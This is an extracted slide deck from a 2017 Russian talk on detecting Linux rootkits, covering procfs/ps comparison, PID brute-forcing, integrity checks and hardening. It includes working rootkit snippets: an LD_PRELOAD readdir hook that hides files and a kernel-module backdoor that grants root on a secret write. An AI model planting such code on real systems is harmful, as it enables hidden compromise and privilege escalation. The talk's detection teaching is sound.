SlideShare ist ein Scribd-Unternehmen logo
1 von 76
Downloaden Sie, um offline zu lesen
Обнаружение руткитов в GNU/Linux
Михаил Клементьев
SECON 2017
1
Кто я?
• Linux Kernel Security Developer
2
Кто я?
• Linux Kernel Security Developer
• Security researcher at
2
Кто я?
• Linux Kernel Security Developer
• Security researcher at
• Hardened Gentoo lover
2
Кто я?
• Linux Kernel Security Developer
• Security researcher at
• Hardened Gentoo lover
• Associate member of
2
О чем доклад?
• Зачем все это нужно
3
О чем доклад?
• Зачем все это нужно
• Что такое руткит
3
О чем доклад?
• Зачем все это нужно
• Что такое руткит
• Что руткит из себя представляет
3
О чем доклад?
• Зачем все это нужно
• Что такое руткит
• Что руткит из себя представляет
• Обнаружение руткитов (и немного просто
malware)
3
Отдать швартовый!
4
А разве меня взломали?
5
Уязвимости ядра Linux
6
Уязвимости ядра Linux
7
Жизненный цикл уязвимости
8
А разве меня взломали?
9
А разве меня взломали?
Да.
9
Какие бывают?
10
Какие бывают?
• User-space
10
Какие бывают?
• User-space
• Kernel-space
10
Чем могут заниматься?
• Подмена системных файлов
11
Чем могут заниматься?
• Подмена системных файлов
• Изменение логов
11
Чем могут заниматься?
• Подмена системных файлов
• Изменение логов
• Изменение исполняемых файлов при старте
11
Чем могут заниматься?
• Подмена системных файлов
• Изменение логов
• Изменение исполняемых файлов при старте
• Скрытие процессов
11
Чем могут заниматься?
• Подмена системных файлов
• Изменение логов
• Изменение исполняемых файлов при старте
• Скрытие процессов
• Скрытие сетевых соединений
11
Чем могут заниматься?
• Подмена системных файлов
• Изменение логов
• Изменение исполняемых файлов при старте
• Скрытие процессов
• Скрытие сетевых соединений
• Защита от обнаружения
11
Чем могут заниматься?
• Подмена системных файлов
• Изменение логов
• Изменение исполняемых файлов при старте
• Скрытие процессов
• Скрытие сетевых соединений
• Защита от обнаружения
• Много всего остального, о чем знают только
разработчики
11
Как это работает: user-space
$ touch f i r s t _ f i l e
$ touch second_file
$ touch h i d d e n _ f i l e
$ l s
f i r s t _ f i l e second_file
12
Как это работает: user-space
$ LD_DEBUG=symbols l s 2>&1 | grep r e a d d i r
symbol=o r i g _ r e a d d i r ; lookup in f i l e=l s
symbol=o r i g _ r e a d d i r ; lookup in f i l e=/lib64/hide.so
symbol=r e a d d i r ; lookup in f i l e=l s
symbol=r e a d d i r ; lookup in f i l e=/lib64/hide.so
symbol=r e a d d i r ; lookup in f i l e =/l i b 6 4 / l i b c . so .6
symbol=r e a d d i r ; lookup in f i l e =/l i b 6 4 / l i b c . so .6
symbol=r e a d d i r ; lookup in f i l e =/l i b 6 4 / l i b c . so .6
13
Как это работает: user-space
$ l s / l i b 6 4 / | grep hide . so
$ # f i l e doesn ’ t e x i s t
$ t e s t −f / l i b 6 4 / hide . so && echo " e x i s t "
e x i s t
$ env | grep hide . so
LD_PRELOAD=/l i b 6 4 / hide . so
14
Как это работает: user-space
struct dirent *(* orig_readdir )(DIR *);
struct dirent *readdir(DIR *dirp)
{
struct dirent *ret;
void *libc = dlopen(LIBC_PATH , RTLD_LAZY );
orig_readdir = dlsym(libc , "readdir");
while (ret = orig_readdir(dirp ))
if (strcmp(ret ->d_name , HIDDEN_FILENAME ))
break;
return ret;
}
15
Как это работает: kernel-space
$ g i t clone github . com/ NoviceLive / research −r o o t k i t
$ cd research −r o o t k i t /2−fundamentals / root
$ make
# insmod rootko . ko
$ dmesg
[ . . . ] rootko . init_module : Greetings the World !
16
Как это работает: kernel-space
# ./ r00tme . sh
uid =1000 gid =1000
/ proc / kcore : r e g u l a r f i l e , no read permission
uid=0 gid=0
/ proc / kcore : ELF 64− b i t LSB core f i l e x86 −64...
$ dmesg
[ . . . ] rootko . write_h : Comrade , I w i l l help you .
[ . . . ] rootko . write_h : See you !
17
Как это работает: kernel-space
struct file_operations proc_fops = {
.write = write_handler
};
int init_module(void)
{
fm_alert("%sn", "Greetings␣the␣World!");
entry = proc_create(NAME , S_IRUGO | S_IWUGO ,
SECRET_FILE , &proc_fops );
return 0;
}
18
Как это работает: kernel-space
ssize_t
write_handler(struct file * filp , char *buff ,
size_t count , loff_t *offp)
{
...
if (! strncmp(SOME_SECRET , kbuff , count )) {
fm_alert("%sn", "Comrade ,␣I␣will␣help␣you.");
cred = (struct cred *) __task_cred(current );
cred ->uid = cred ->euid = cred ->fsuid = 0;
cred ->gid = cred ->egid = cred ->fsgid = 0;
fm_alert("%sn", "See␣you!");
}
...
}
19
Как это работает: kernel-space
$ cat r00tme . sh
. . .
p r i n t f ’%s ’ SOME_SECRET > / proc /SECRET_FILE
id
. . .
20
Обнаружение руткитов: проблемы
• Для проверки сервер редко можно выключить
21
Обнаружение руткитов: проблемы
• Для проверки сервер редко можно выключить
• Доступ к VPS ограничен
21
Обнаружение руткитов: проблемы
• Для проверки сервер редко можно выключить
• Доступ к VPS ограничен
• Open Source решения (chkrootkit, unhide,
rkhunter) редко обновляются и неэффективны
против kernel-space руткитов
21
Обнаружение руткитов: проблемы
• Для проверки сервер редко можно выключить
• Доступ к VPS ограничен
• Open Source решения (chkrootkit, unhide,
rkhunter) редко обновляются и неэффективны
против kernel-space руткитов
• Почти всегда в недоверенном окружении
21
Развертывание в недоверенной системе
• scp && ssh
22
Развертывание в недоверенной системе
• scp && ssh
• gcc -static
22
Развертывание в недоверенной системе
• scp && ssh
• gcc -static
• ELF crypter/protector
22
Развертывание в недоверенной системе
• scp && ssh
• gcc -static
• ELF crypter/protector
• crackme?!?
22
user-space [0]: подходы
• Обнаружение явно не скрытых сущностей
23
user-space [0]: подходы
• Обнаружение явно не скрытых сущностей
• Поиск нарушений консистентности
user-space/kernel-space
23
user-space [0]: подходы
• Обнаружение явно не скрытых сущностей
• Поиск нарушений консистентности
user-space/kernel-space
• Проверка целостности
23
user-space [1]: все то, что не скрыто
• .config/gtk-2.0/settings.ini
24
user-space [1]: все то, что не скрыто
• .config/gtk-2.0/settings.ini
• /bin/ps, /usr/bin/ps
24
user-space [1]: все то, что не скрыто
• .config/gtk-2.0/settings.ini
• /bin/ps, /usr/bin/ps
• /usr/bin/rootkit
24
user-space [2]: поиск противоречий
• Сравнение содержимого procfs с выводом команды ps aux
$ ps −e | grep ’^ 63 ’
6304 ? 00:00:00 acpid
6328 ? 00:00:00 battery −watcher
6374 ? 00:00:00 crond
$ l s / proc | grep ’^63 ’
6304
6328
6346
6374
25
user-space [2]: поиск противоречий
• Сравнение содержимого procfs с выводом команды ps aux
$ ps −e | grep ’^ 63 ’
6304 ? 00:00:00 acpid
6328 ? 00:00:00 battery −watcher
6374 ? 00:00:00 crond
$ l s / proc | grep ’^63 ’
6304
6328
6346
6374
• Размер файловой системы и файлов
25
user-space [2]: поиск противоречий
• Сравнение содержимого procfs с выводом команды ps aux
26
user-space [2]: поиск противоречий
• Сравнение содержимого procfs с выводом команды ps aux
• Размер файловой системы и файлов
# du −hcs /tmp
6 ,7M /tmp
6,7M
# df −h | grep /tmp
tmpfs 12G 8,3M 12G 1% /tmp
26
user-space [3]: проверка целостности
• AIDE
27
user-space [3]: проверка целостности
• AIDE
• Средства, предоставляемые пакетными
менеджерами
27
user-space [3]: проверка целостности
• AIDE
• Средства, предоставляемые пакетными
менеджерами
• dpkg –verify
27
user-space [3]: проверка целостности
• AIDE
• Средства, предоставляемые пакетными
менеджерами
• dpkg –verify
• debsums
27
user-space [3]: проверка целостности
• AIDE
• Средства, предоставляемые пакетными
менеджерами
• dpkg –verify
• debsums
• rpm -V
27
kernel-space [0]: подходы
• Поиск нарушений консистентности
предоставляемой ядром информации
28
kernel-space [0]: подходы
• Поиск нарушений консистентности
предоставляемой ядром информации
• Встраивание в планировщик процессов
28
kernel-space [0]: подходы
• Поиск нарушений консистентности
предоставляемой ядром информации
• Встраивание в планировщик процессов
• Анализ памяти
28
kernel-space [0]: подходы
• Поиск нарушений консистентности
предоставляемой ядром информации
• Встраивание в планировщик процессов
• Анализ памяти
• Анализ задержек
28
kernel-space [2]: поиск противоречий
• Перебор всех возможных идентификаторов процесса (pid
bruteforce)
$ l s / proc | grep ’^63 ’
6304
6328
6374
$ s t a t / proc /6305
s t a t : cannot s t a t ’/ proc /6305: No such f i l e
$ s t a t / proc /6306
s t a t : cannot s t a t ’/ proc /6306: No such f i l e
$ s t a t / proc /6307
F i l e : ’/ proc /6307 ’
Size : 0 Blocks : 0 IO Block : 1024 directory
29
kernel-space [2]: поиск противоречий
$ lsmod
Module Size Used by
vboxpci 14318 0
vboxnetadp 18566 0
$ cat / proc / kallsyms | grep vboxpci
a0072f00 t DevRegisterIrqHandler [ vboxpci ]
a0073040 t DevUnregisterIrqHandler [ vboxpci ]
a0072e20 t DevUnmapRegion [ vboxpci ]
a0073fe0 t SUPR0IdcClose [ vboxpci ]
$ cat / proc / kallsyms | grep ’ . ∗  [ . ∗  ] $ ’ | cut . . .
x86_pkg_temp_thermal
vboxpci
vboxnetadp
30
kernel-space [3]: встраивание в планировщик процессов
31
kernel-space [3]: встраивание в планировщик процессов
int hook_try_to_wake_up(struct task_struct *p,
unsigned int state ,
int wake_flags)
{
printk("p->pid:␣%d,␣p->comm:␣%sn"
p->pid , p->comm );
return origin_try_to_wake_up(p, state ,
wake_flags );
}
32
kernel-space [3]: встраивание в планировщик процессов
dmesg:
[ 9 4 . 5 6 8 ] p−>pid : 1749 , p−>comm: r s y s l o g d
[ 9 4 . 5 6 9 ] p−>pid : 1747 , p−>comm: r s : main Q: Reg
[ 9 4 . 5 7 2 ] p−>pid : 1749 , p−>comm: r s y s l o g d
[ 9 4 . 5 7 3 ] p−>pid : 1747 , p−>comm: r s : main Q: Reg
[ 9 4 . 5 7 6 ] p−>pid : 1749 , p−>comm: r s y s l o g d
[ 9 4 . 5 7 7 ] p−>pid : 1747 , p−>comm: r s : main Q: Reg
[ 9 4 . 5 8 0 ] p−>pid : 1749 , p−>comm: r s y s l o g d
[ 9 4 . 5 8 1 ] p−>pid : 1935 , p−>comm: hiddenprocess
[ 9 4 . 6 0 5 ] p−>pid : 1747 , p−>comm: r s : main Q: Reg
33
kernel-space: подходы
• Поиск нарушений консистентности
предоставляемой ядром информации
• Встраивание в планировщик процессов
• Анализ памяти
• Анализ задержек
34
Как не словить?
• Использование электронной подписи для
модулей ядра
35
Как не словить?
• Использование электронной подписи для
модулей ядра
• Знайте, что происходит на вашей системе
35
Как не словить?
• Использование электронной подписи для
модулей ядра
• Знайте, что происходит на вашей системе
• Разграничение полномочий
35
Как не словить?
• Использование электронной подписи для
модулей ядра
• Знайте, что происходит на вашей системе
• Разграничение полномочий
• Обновления, обновления, обновления. . .
35
Как не словить?
• Использование электронной подписи для
модулей ядра
• Знайте, что происходит на вашей системе
• Разграничение полномочий
• Обновления, обновления, обновления. . .
• Перезапуск приложений и ядра после
обновления (либо kpatch)
35
Вопросы?
36
Спасибо за внимание!
Клементьев Михаил
m.klementyev@dsec.ru
37
thx
• https://outflux.net
• http://securityaffairs.co
• http://derekmolloy.ie
• https://github.com/NoviceLive/research-rootkit
38

Weitere ähnliche Inhalte

Was ist angesagt?

Web осень 2012 лекция 3
Web осень 2012 лекция 3Web осень 2012 лекция 3
Web осень 2012 лекция 3
Technopark
 
Быстрое прототипирование бэкенда игры с геолокацией на OpenResty, Redis и Doc...
Быстрое прототипирование бэкенда игры с геолокацией на OpenResty, Redis и Doc...Быстрое прототипирование бэкенда игры с геолокацией на OpenResty, Redis и Doc...
Быстрое прототипирование бэкенда игры с геолокацией на OpenResty, Redis и Doc...
Ontico
 
Web весна 2013 лекция 3
Web весна 2013 лекция 3Web весна 2013 лекция 3
Web весна 2013 лекция 3
Technopark
 
Docker & Puppet: как их скрестить и надо ли вам это?
Docker & Puppet: как их скрестить и надо ли вам это?Docker & Puppet: как их скрестить и надо ли вам это?
Docker & Puppet: как их скрестить и надо ли вам это?
Anton Turetsky
 
Caching data outside Java Heap and using Shared Memory in Java
Caching data outside Java Heap and using Shared Memory in JavaCaching data outside Java Heap and using Shared Memory in Java
Caching data outside Java Heap and using Shared Memory in Java
Andrei Pangin
 
Практика совместного использования Lua и C в opensource спам-фильтре Rspamd /...
Практика совместного использования Lua и C в opensource спам-фильтре Rspamd /...Практика совместного использования Lua и C в opensource спам-фильтре Rspamd /...
Практика совместного использования Lua и C в opensource спам-фильтре Rspamd /...
Ontico
 

Was ist angesagt? (20)

Web осень 2012 лекция 3
Web осень 2012 лекция 3Web осень 2012 лекция 3
Web осень 2012 лекция 3
 
Быстрое прототипирование бэкенда игры с геолокацией на OpenResty, Redis и Doc...
Быстрое прототипирование бэкенда игры с геолокацией на OpenResty, Redis и Doc...Быстрое прототипирование бэкенда игры с геолокацией на OpenResty, Redis и Doc...
Быстрое прототипирование бэкенда игры с геолокацией на OpenResty, Redis и Doc...
 
Hunting for a C++ package manager
Hunting for a C++ package managerHunting for a C++ package manager
Hunting for a C++ package manager
 
Web весна 2013 лекция 3
Web весна 2013 лекция 3Web весна 2013 лекция 3
Web весна 2013 лекция 3
 
Docker integration into Badoo
Docker integration into BadooDocker integration into Badoo
Docker integration into Badoo
 
Docker & Puppet: как их скрестить и надо ли вам это?
Docker & Puppet: как их скрестить и надо ли вам это?Docker & Puppet: как их скрестить и надо ли вам это?
Docker & Puppet: как их скрестить и надо ли вам это?
 
Ян Габис - RobotFramework: автоматизированое тестирование для всех
Ян Габис - RobotFramework: автоматизированое тестирование для всех Ян Габис - RobotFramework: автоматизированое тестирование для всех
Ян Габис - RobotFramework: автоматизированое тестирование для всех
 
Эволюция php code coverage в Badoo. Доклад Ильи Агеева на LoveQA РИТ.
Эволюция php code coverage в Badoo. Доклад Ильи Агеева на LoveQA РИТ.Эволюция php code coverage в Badoo. Доклад Ильи Агеева на LoveQA РИТ.
Эволюция php code coverage в Badoo. Доклад Ильи Агеева на LoveQA РИТ.
 
Владимир Алаев "Разработка на Node.js: инструменты, библиотеки, сервисы"
Владимир Алаев "Разработка на Node.js: инструменты, библиотеки, сервисы"Владимир Алаев "Разработка на Node.js: инструменты, библиотеки, сервисы"
Владимир Алаев "Разработка на Node.js: инструменты, библиотеки, сервисы"
 
Caching data outside Java Heap and using Shared Memory in Java
Caching data outside Java Heap and using Shared Memory in JavaCaching data outside Java Heap and using Shared Memory in Java
Caching data outside Java Heap and using Shared Memory in Java
 
Developing highload servers with Java
Developing highload servers with JavaDeveloping highload servers with Java
Developing highload servers with Java
 
Применение фреймворка GStreamer в системе видеонаблюдения
Применение фреймворка GStreamer в системе видеонаблюденияПрименение фреймворка GStreamer в системе видеонаблюдения
Применение фреймворка GStreamer в системе видеонаблюдения
 
Язык программирования GO
Язык программирования GOЯзык программирования GO
Язык программирования GO
 
Building the Enterprise infrastructure with PostgreSQL as the basis for stori...
Building the Enterprise infrastructure with PostgreSQL as the basis for stori...Building the Enterprise infrastructure with PostgreSQL as the basis for stori...
Building the Enterprise infrastructure with PostgreSQL as the basis for stori...
 
Зачем программистам Ansible
Зачем программистам AnsibleЗачем программистам Ansible
Зачем программистам Ansible
 
Fabric для управления серверами
Fabric для управления серверамиFabric для управления серверами
Fabric для управления серверами
 
Про асинхронное сетевое программирование
Про асинхронное сетевое программированиеПро асинхронное сетевое программирование
Про асинхронное сетевое программирование
 
Семь тысяч Rps, один go
Семь тысяч Rps, один goСемь тысяч Rps, один go
Семь тысяч Rps, один go
 
Практика совместного использования Lua и C в opensource спам-фильтре Rspamd /...
Практика совместного использования Lua и C в opensource спам-фильтре Rspamd /...Практика совместного использования Lua и C в opensource спам-фильтре Rspamd /...
Практика совместного использования Lua и C в opensource спам-фильтре Rspamd /...
 
Модульность и управляемая многопоточность встраиваемых С++ приложений - трудн...
Модульность и управляемая многопоточность встраиваемых С++ приложений - трудн...Модульность и управляемая многопоточность встраиваемых С++ приложений - трудн...
Модульность и управляемая многопоточность встраиваемых С++ приложений - трудн...
 

Ähnlich wie SECON'2017, Клементьев Михаил, Обнаружение руткитов в GNU/Linux

Владимир Иванов - Безопасность Unix-подобных ОС
Владимир Иванов - Безопасность Unix-подобных ОСВладимир Иванов - Безопасность Unix-подобных ОС
Владимир Иванов - Безопасность Unix-подобных ОС
Yandex
 
Сергей Еланцев - Troubleshooting
Сергей Еланцев - Troubleshooting   Сергей Еланцев - Troubleshooting
Сергей Еланцев - Troubleshooting
Yandex
 
MIPT Course - DAC and MAC
MIPT Course - DAC and MACMIPT Course - DAC and MAC
MIPT Course - DAC and MAC
Alexey Vasyukov
 
DevOps или искусство выживания в растущей компании
DevOps или искусство выживания в растущей компанииDevOps или искусство выживания в растущей компании
DevOps или искусство выживания в растущей компании
Alexey Vakhov
 
Как приручить проектное окружение. PHP UG Minsk, июнь'2014
Как приручить проектное окружение. PHP UG Minsk, июнь'2014Как приручить проектное окружение. PHP UG Minsk, июнь'2014
Как приручить проектное окружение. PHP UG Minsk, июнь'2014
kamazee
 
Вячеслав Бирюков - Linux инструменты системного администратора
Вячеслав Бирюков - Linux инструменты системного администратора Вячеслав Бирюков - Linux инструменты системного администратора
Вячеслав Бирюков - Linux инструменты системного администратора
Yandex
 
Easy authcache 2 кэширование для pro. Родионов Игорь
Easy authcache 2   кэширование для pro. Родионов ИгорьEasy authcache 2   кэширование для pro. Родионов Игорь
Easy authcache 2 кэширование для pro. Родионов Игорь
PVasili
 
Easy authcache 2 кеширование для pro родионов игорь
Easy authcache 2   кеширование для pro родионов игорьEasy authcache 2   кеширование для pro родионов игорь
Easy authcache 2 кеширование для pro родионов игорь
drupalconf
 

Ähnlich wie SECON'2017, Клементьев Михаил, Обнаружение руткитов в GNU/Linux (20)

Филипп Торчинский «Анализ производительности и отладка приложений с помощью D...
Филипп Торчинский «Анализ производительности и отладка приложений с помощью D...Филипп Торчинский «Анализ производительности и отладка приложений с помощью D...
Филипп Торчинский «Анализ производительности и отладка приложений с помощью D...
 
Владимир Иванов - Безопасность Unix-подобных ОС
Владимир Иванов - Безопасность Unix-подобных ОСВладимир Иванов - Безопасность Unix-подобных ОС
Владимир Иванов - Безопасность Unix-подобных ОС
 
Опенсорс-инструменты на страже безопасности бэкенда — Петр Волков
Опенсорс-инструменты на страже безопасности бэкенда — Петр ВолковОпенсорс-инструменты на страже безопасности бэкенда — Петр Волков
Опенсорс-инструменты на страже безопасности бэкенда — Петр Волков
 
Linuxvirt seminar-csc-2015
Linuxvirt seminar-csc-2015Linuxvirt seminar-csc-2015
Linuxvirt seminar-csc-2015
 
Linux basics. Занятие 3.
Linux basics. Занятие 3. Linux basics. Занятие 3.
Linux basics. Занятие 3.
 
Docker penetration
Docker penetrationDocker penetration
Docker penetration
 
Проникновение в Docker с примерами
Проникновение в Docker с примерамиПроникновение в Docker с примерами
Проникновение в Docker с примерами
 
Сергей Еланцев - Troubleshooting
Сергей Еланцев - Troubleshooting   Сергей Еланцев - Troubleshooting
Сергей Еланцев - Troubleshooting
 
MIPT Course - DAC and MAC
MIPT Course - DAC and MACMIPT Course - DAC and MAC
MIPT Course - DAC and MAC
 
DevOps или искусство выживания в растущей компании
DevOps или искусство выживания в растущей компанииDevOps или искусство выживания в растущей компании
DevOps или искусство выживания в растущей компании
 
TMPA-2013 Sartakov: Genode
TMPA-2013 Sartakov: GenodeTMPA-2013 Sartakov: Genode
TMPA-2013 Sartakov: Genode
 
pgday17. How shared memory works in modern PostgreSQL
pgday17. How shared memory works in modern PostgreSQLpgday17. How shared memory works in modern PostgreSQL
pgday17. How shared memory works in modern PostgreSQL
 
От Make к Ansible
От Make к AnsibleОт Make к Ansible
От Make к Ansible
 
Как приручить проектное окружение. PHP UG Minsk, июнь'2014
Как приручить проектное окружение. PHP UG Minsk, июнь'2014Как приручить проектное окружение. PHP UG Minsk, июнь'2014
Как приручить проектное окружение. PHP UG Minsk, июнь'2014
 
Jenkins в docker in mesos in ...
Jenkins в docker in mesos in ...Jenkins в docker in mesos in ...
Jenkins в docker in mesos in ...
 
Леонид Васильев "Python в инфраструктуре поиска"
Леонид Васильев "Python в инфраструктуре поиска"Леонид Васильев "Python в инфраструктуре поиска"
Леонид Васильев "Python в инфраструктуре поиска"
 
Вячеслав Бирюков - Linux инструменты системного администратора
Вячеслав Бирюков - Linux инструменты системного администратора Вячеслав Бирюков - Linux инструменты системного администратора
Вячеслав Бирюков - Linux инструменты системного администратора
 
Введение в Docker
Введение в DockerВведение в Docker
Введение в Docker
 
Easy authcache 2 кэширование для pro. Родионов Игорь
Easy authcache 2   кэширование для pro. Родионов ИгорьEasy authcache 2   кэширование для pro. Родионов Игорь
Easy authcache 2 кэширование для pro. Родионов Игорь
 
Easy authcache 2 кеширование для pro родионов игорь
Easy authcache 2   кеширование для pro родионов игорьEasy authcache 2   кеширование для pro родионов игорь
Easy authcache 2 кеширование для pro родионов игорь
 

Mehr von SECON

SECON'2017, Куприенко Игорь, Университет 4.0: Ждать Нельзя Внедрять
SECON'2017, Куприенко Игорь, Университет 4.0: Ждать Нельзя ВнедрятьSECON'2017, Куприенко Игорь, Университет 4.0: Ждать Нельзя Внедрять
SECON'2017, Куприенко Игорь, Университет 4.0: Ждать Нельзя Внедрять
SECON
 
SECON'2017, Емельянов Игорь, Я хочу стать программистом: первые шаги.
SECON'2017, Емельянов Игорь, Я хочу стать программистом: первые шаги.SECON'2017, Емельянов Игорь, Я хочу стать программистом: первые шаги.
SECON'2017, Емельянов Игорь, Я хочу стать программистом: первые шаги.
SECON
 
SECON'2017, Тыкушин Анатолий, Болдырев Михаил, Расследование кибер-преступлений
SECON'2017, Тыкушин Анатолий, Болдырев Михаил, Расследование кибер-преступленийSECON'2017, Тыкушин Анатолий, Болдырев Михаил, Расследование кибер-преступлений
SECON'2017, Тыкушин Анатолий, Болдырев Михаил, Расследование кибер-преступлений
SECON
 
SECON'2017, Рожкова Надежда, Бухгалтерские лайфхаки для IT компаний
SECON'2017, 	Рожкова Надежда, Бухгалтерские лайфхаки для IT компанийSECON'2017, 	Рожкова Надежда, Бухгалтерские лайфхаки для IT компаний
SECON'2017, Рожкова Надежда, Бухгалтерские лайфхаки для IT компаний
SECON
 
SECON'2017, Янов Альберт, Управленческий учет в компании: для чего он нужен и...
SECON'2017, Янов Альберт, Управленческий учет в компании: для чего он нужен и...SECON'2017, Янов Альберт, Управленческий учет в компании: для чего он нужен и...
SECON'2017, Янов Альберт, Управленческий учет в компании: для чего он нужен и...
SECON
 
SECON'2017, Емелина Елена, Управленческий учет в софтверной компании на коленке
SECON'2017, Емелина Елена, Управленческий учет в софтверной компании на коленкеSECON'2017, Емелина Елена, Управленческий учет в софтверной компании на коленке
SECON'2017, Емелина Елена, Управленческий учет в софтверной компании на коленке
SECON
 
SECON'2017, Кузнецов Михаил, Самоуправляемая компания без бюрократии и фигни
SECON'2017, Кузнецов Михаил, Самоуправляемая компания без бюрократии и фигниSECON'2017, Кузнецов Михаил, Самоуправляемая компания без бюрократии и фигни
SECON'2017, Кузнецов Михаил, Самоуправляемая компания без бюрократии и фигни
SECON
 
SECON'2017, Коротков Анатолий, #noprojects #nomvp .. куда катится мир?
SECON'2017, Коротков Анатолий, #noprojects #nomvp .. куда катится мир?SECON'2017, Коротков Анатолий, #noprojects #nomvp .. куда катится мир?
SECON'2017, Коротков Анатолий, #noprojects #nomvp .. куда катится мир?
SECON
 
SECON'2017, Трошин Алексей, Выжить без менеджера: шаблоны правильных коммуник...
SECON'2017, Трошин Алексей, Выжить без менеджера: шаблоны правильных коммуник...SECON'2017, Трошин Алексей, Выжить без менеджера: шаблоны правильных коммуник...
SECON'2017, Трошин Алексей, Выжить без менеджера: шаблоны правильных коммуник...
SECON
 
SECON'2017, Цветцих Денис, Как добавить работе по Agile предсказуемости, не п...
SECON'2017, Цветцих Денис, Как добавить работе по Agile предсказуемости, не п...SECON'2017, Цветцих Денис, Как добавить работе по Agile предсказуемости, не п...
SECON'2017, Цветцих Денис, Как добавить работе по Agile предсказуемости, не п...
SECON
 
SECON'2017, Мартынов Антон, Опыт использования удаленных команд при реализаци...
SECON'2017, Мартынов Антон, Опыт использования удаленных команд при реализаци...SECON'2017, Мартынов Антон, Опыт использования удаленных команд при реализаци...
SECON'2017, Мартынов Антон, Опыт использования удаленных команд при реализаци...
SECON
 
SECON'2017, Цаль-Цалко Иван, Go на практике
SECON'2017, Цаль-Цалко Иван, Go на практикеSECON'2017, Цаль-Цалко Иван, Go на практике
SECON'2017, Цаль-Цалко Иван, Go на практике
SECON
 
SECON'2017, Неволин Роман, Функциональный C#
SECON'2017, Неволин Роман, Функциональный C#SECON'2017, Неволин Роман, Функциональный C#
SECON'2017, Неволин Роман, Функциональный C#
SECON
 
SECON'2017, Мелехова Анна, Архитектура как стихия. Обуздываем энтропию проекта
SECON'2017, Мелехова Анна, Архитектура как стихия. Обуздываем энтропию проектаSECON'2017, Мелехова Анна, Архитектура как стихия. Обуздываем энтропию проекта
SECON'2017, Мелехова Анна, Архитектура как стихия. Обуздываем энтропию проекта
SECON
 
SECON'2017, Макарычев Костантин, Использование Spark для машинного обучения
SECON'2017, Макарычев Костантин, Использование Spark для машинного обученияSECON'2017, Макарычев Костантин, Использование Spark для машинного обучения
SECON'2017, Макарычев Костантин, Использование Spark для машинного обучения
SECON
 
SECON'2017, Журавлев Денис, Маркетинг без маркетолога
SECON'2017, Журавлев Денис, Маркетинг без маркетологаSECON'2017, Журавлев Денис, Маркетинг без маркетолога
SECON'2017, Журавлев Денис, Маркетинг без маркетолога
SECON
 
SECON'2017, Шатров Михаил, Инструменты успешного предпринимателя
SECON'2017, Шатров Михаил, Инструменты успешного предпринимателяSECON'2017, Шатров Михаил, Инструменты успешного предпринимателя
SECON'2017, Шатров Михаил, Инструменты успешного предпринимателя
SECON
 
SECON'2017, Цымбал Дмитрий, Компания - Компания. Дружба на этом уровне.
SECON'2017, Цымбал Дмитрий, Компания - Компания. Дружба на этом уровне.SECON'2017, Цымбал Дмитрий, Компания - Компания. Дружба на этом уровне.
SECON'2017, Цымбал Дмитрий, Компания - Компания. Дружба на этом уровне.
SECON
 

Mehr von SECON (20)

SECON'2017, LAZADA Effartlrss Shopping, Как мы тестируем?
 SECON'2017, LAZADA Effartlrss Shopping, Как мы тестируем? SECON'2017, LAZADA Effartlrss Shopping, Как мы тестируем?
SECON'2017, LAZADA Effartlrss Shopping, Как мы тестируем?
 
SECON'2017, Куприенко Игорь, Университет 4.0: Ждать Нельзя Внедрять
SECON'2017, Куприенко Игорь, Университет 4.0: Ждать Нельзя ВнедрятьSECON'2017, Куприенко Игорь, Университет 4.0: Ждать Нельзя Внедрять
SECON'2017, Куприенко Игорь, Университет 4.0: Ждать Нельзя Внедрять
 
SECON'2017, Васильков Василий, Elm в production
SECON'2017, Васильков Василий, Elm в productionSECON'2017, Васильков Василий, Elm в production
SECON'2017, Васильков Василий, Elm в production
 
SECON'2017, Емельянов Игорь, Я хочу стать программистом: первые шаги.
SECON'2017, Емельянов Игорь, Я хочу стать программистом: первые шаги.SECON'2017, Емельянов Игорь, Я хочу стать программистом: первые шаги.
SECON'2017, Емельянов Игорь, Я хочу стать программистом: первые шаги.
 
SECON'2017, Тыкушин Анатолий, Болдырев Михаил, Расследование кибер-преступлений
SECON'2017, Тыкушин Анатолий, Болдырев Михаил, Расследование кибер-преступленийSECON'2017, Тыкушин Анатолий, Болдырев Михаил, Расследование кибер-преступлений
SECON'2017, Тыкушин Анатолий, Болдырев Михаил, Расследование кибер-преступлений
 
SECON'2017, Рожкова Надежда, Бухгалтерские лайфхаки для IT компаний
SECON'2017, 	Рожкова Надежда, Бухгалтерские лайфхаки для IT компанийSECON'2017, 	Рожкова Надежда, Бухгалтерские лайфхаки для IT компаний
SECON'2017, Рожкова Надежда, Бухгалтерские лайфхаки для IT компаний
 
SECON'2017, Янов Альберт, Управленческий учет в компании: для чего он нужен и...
SECON'2017, Янов Альберт, Управленческий учет в компании: для чего он нужен и...SECON'2017, Янов Альберт, Управленческий учет в компании: для чего он нужен и...
SECON'2017, Янов Альберт, Управленческий учет в компании: для чего он нужен и...
 
SECON'2017, Емелина Елена, Управленческий учет в софтверной компании на коленке
SECON'2017, Емелина Елена, Управленческий учет в софтверной компании на коленкеSECON'2017, Емелина Елена, Управленческий учет в софтверной компании на коленке
SECON'2017, Емелина Елена, Управленческий учет в софтверной компании на коленке
 
SECON'2017, Кузнецов Михаил, Самоуправляемая компания без бюрократии и фигни
SECON'2017, Кузнецов Михаил, Самоуправляемая компания без бюрократии и фигниSECON'2017, Кузнецов Михаил, Самоуправляемая компания без бюрократии и фигни
SECON'2017, Кузнецов Михаил, Самоуправляемая компания без бюрократии и фигни
 
SECON'2017, Коротков Анатолий, #noprojects #nomvp .. куда катится мир?
SECON'2017, Коротков Анатолий, #noprojects #nomvp .. куда катится мир?SECON'2017, Коротков Анатолий, #noprojects #nomvp .. куда катится мир?
SECON'2017, Коротков Анатолий, #noprojects #nomvp .. куда катится мир?
 
SECON'2017, Трошин Алексей, Выжить без менеджера: шаблоны правильных коммуник...
SECON'2017, Трошин Алексей, Выжить без менеджера: шаблоны правильных коммуник...SECON'2017, Трошин Алексей, Выжить без менеджера: шаблоны правильных коммуник...
SECON'2017, Трошин Алексей, Выжить без менеджера: шаблоны правильных коммуник...
 
SECON'2017, Цветцих Денис, Как добавить работе по Agile предсказуемости, не п...
SECON'2017, Цветцих Денис, Как добавить работе по Agile предсказуемости, не п...SECON'2017, Цветцих Денис, Как добавить работе по Agile предсказуемости, не п...
SECON'2017, Цветцих Денис, Как добавить работе по Agile предсказуемости, не п...
 
SECON'2017, Мартынов Антон, Опыт использования удаленных команд при реализаци...
SECON'2017, Мартынов Антон, Опыт использования удаленных команд при реализаци...SECON'2017, Мартынов Антон, Опыт использования удаленных команд при реализаци...
SECON'2017, Мартынов Антон, Опыт использования удаленных команд при реализаци...
 
